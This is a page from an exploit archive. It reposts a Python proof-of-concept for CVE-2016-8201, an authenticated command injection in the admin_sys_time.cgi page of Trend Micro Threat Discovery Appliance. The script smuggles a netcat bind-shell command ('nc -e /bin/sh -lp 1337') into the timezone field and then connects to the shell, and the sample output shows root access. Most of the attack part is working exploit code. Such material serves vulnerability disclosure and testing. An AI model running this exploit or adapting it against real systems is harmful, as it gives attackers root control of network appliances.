Advertisement






Trend Micro TDA 2.6.1062r1 admin_sys_time.cgi Remote Code Execution

CVE Category Price Severity
CVE-2016-8201 CWE-94 $5,000 High
Author Risk Exploitation Type Date
unknown High Remote 2017-04-20
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 0.07626 0.72511

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017040126

Below is a copy:

Trend Micro TDA 2.6.1062r1 admin_sys_time.cgi Remote Code Execution#!/usr/local/bin/python
"""
Trend Micro Threat Discovery Appliance <= 2.6.1062r1 admin_sys_time.cgi Remote Code Execution Vulnerability
Found by: Steven Seeley of Source Incite & Roberto Suggi Liverani - @malerisch - http://blog.malerisch.net/ 
File: TDA_InstallationCD.2.6.1062r1.en_US.iso
sha1: 8da4604c92a944ba8f7744641bce932df008f9f9
Download: http://downloadcenter.trendmicro.com/index.php?regs=NABU&clk=latest&clkval=1787&lang_loc=1

Summary:
========

There exists a post authenticated command injection vulnerability that can be used to execute arbitrary code as root.

Notes:
======

- Since this is a busybox, getting a connectback seemed hard. So, for this particular PoC, all I did was 
exec a bind shell using netcat.

- Auth is VERY weak, no privilege seperation, no username required, no password policy, no protection from bruteforce attempts...

Example:
========

saturn:trend_micro_threat_discovery_admin_sys_time_rce mr_me$ ./poc.py 
(+) usage: ./poc.py <target> <pass>
(+) eg: ./poc.py 172.16.175.123 admin123
saturn:trend_micro_threat_discovery_admin_sys_time_rce mr_me$ ./poc.py 172.16.175.123 admin123
(+) logged in...
(+) starting backdoor, this will take a few secs...
(+) calling backdoor!
id
uid=0(root) gid=0(root)
uname -a
Linux localhost 2.6.24.4 #1 SMP Wed Oct 13 14:38:44 CST 2010 i686 unknown
pwd
/opt/TrendMicro/MinorityReport/www/cgi-bin
exit

"""

import re
import os
import sys
import time
import requests
import threading

requests.packages.urllib3.disable_warnings()

if len(sys.argv) != 3:
    print "(+) usage: %s <target> <pass>" % sys.argv[0]
    print "(+) eg: %s 172.16.175.123 admin123" % sys.argv[0]
    sys.exit(-1)

t = sys.argv[1]
p = sys.argv[2]

bu = "https://%s/" % t
l_url = "%scgi-bin/logon.cgi" % bu
e_url = "%scgi-bin/admin_sys_time.cgi" % bu

s = requests.Session()

def exec_bd(s, e_url):
    # now we setup our backdoor
    # no reverse, since it seems to fail !?
    netcat = "America/Los_Angeles|`nc -e /bin/sh -lp 1337`"
    s.post(e_url, data={'act':'save','timezone': netcat}, verify=False, proxies={"http":"http://127.0.0.1:8081"})

# first we login...
r = s.post(l_url, data={ "passwd":p, "isCookieEnable":1 }, verify=False)
if "frame.cgi" in r.text:
    print "(+) logged in..."

    thread = threading.Thread(target=exec_bd, args=(s, e_url,))
    thread.start()

    print "(+) starting backdoor, this will take a few secs..."
    time.sleep(2)

    print "(+) calling backdoor!"
    os.system("nc %s 1337" % t)

else:
    print "(-) login failed"
    sys.exit(-1)



Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum